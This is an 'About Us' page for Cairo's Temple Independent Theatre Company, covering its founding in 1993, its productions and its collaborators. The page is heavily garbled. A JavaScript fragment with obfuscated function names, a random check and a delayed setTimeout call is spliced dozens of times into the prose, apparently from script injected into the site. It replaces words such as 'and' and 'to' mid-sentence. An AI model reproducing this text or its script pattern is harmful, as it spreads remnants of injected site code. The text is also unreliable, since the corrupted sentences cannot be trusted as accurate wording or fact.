About Us

Founded in 1993 by direcandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>tor Ahmed El Attar, actress Maya El Kalyoubiandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and producer Ali Belail, the Temple Independent Theatre Company started off by rehearsing in the music room at the American University in Cairoandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and on a friend’s roofandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>top in Maadi. Today, the company has established its international recognition by creating newandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and relevant Egyptian theatre that is sensitiveandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>to the contemporary context in both formandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and content. During the first three years, the troupe produced three performances, all directedandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and produced by El Attar. In 1998, The Committee, El Attar’s first written play, was performed in various venues across Cairoandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and at the Amman International Theatre Festival, making it the troupe’s first international performance. Life is Beautiful or Waiting for My Uncle From America (2000), the company’s first professional productionandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and the first paid job for the company’s members,andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>toured internationally in Amman, Beirutandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and Berlin. In 2010, El Attar received the prize for best theatre text from the Sawiris Foundation for Social Development. Starting 2001, El Attar’s work shiftedandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>towards devised theatre pieces where the text, usually a collage of non-theatrical, non-fictional, non-literary texts, was considered as an element among many visualandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and conceptual layers. In 2001, the company presented On the Roadandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>to Nowhere; a Cairene Journey for Touristsandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and Lovers (2001), whichandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>took place in a moving bus,andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and was presented in Cairo, Beirutandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and Lisbon. It was co-written with Waleed Marzouk. Mother I wantandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>to be a Millionaire (2005), producedandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and shown by one of the major theatre festivals in Europe, the Berlin Festespiele, marked the company’s style of fast-paced, multimedia performances. Presented in Jordan, Egyptandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and Sweden, it is regarded as one of the company’s most ambitious projectsandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>to date. About Othello or Who’s Afraid of William Shakespeare marked the company’s returnandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>to classical pieces since their interpretation of the Oedipus myth in 1996,andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and incorporated European acandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>tors with the Egyptian cast for the first time. This piece along with Mother I wantandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>to be a millionaire, were co-directed by Nevine El Ibiary. In 2007, F**k Darwin or How I Have Learnedandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>to Love Socialism, was the first pieceandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>to be produced abroad, involving acandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>tors from Egyptandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and Montenegro; itandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>took the companyandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>towards a new direction of minimalist style. Co-produced by the Montenegrin National Theatreandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and Kampnagle Theatre in Hamburg, it was performed at the 21st edition of the Cairo International Experimental Theatre Festival – where Sayyed Ragab won the best acandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>tor’s award for his role. On the Importance of Being an Arab (2009), on the edge between a theatrical performanceandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and a visual arts installation, has beenandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>touring all over Europeandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and the Arab world since its creation in 2009andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and is scheduledandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>to be performed in Paris at Le Tarmac Theatre in March 2015. El Attar’s first work for children, Hassan x 2 & the Magic Well, was presented in Cairo in 2012 using highly visual collageandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>to address issues of fear. El Attar’s latest play, The Last Supper, marks his returnandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>to playwriting, as this is his first fully written text since Life is Beautiful in 2000. Apart from Ahmed El Attarandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and Hassan Khan’s on going collaboration, as of 2000, the Temple’s team also includes Lebanese set designer, Hussein Baydoun,andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} // ]]>and assistant direcandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>tor, Nevine El Ibiary; joiningandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} // ]]>to 2004 was Swedish light designer, Charlie Astrom.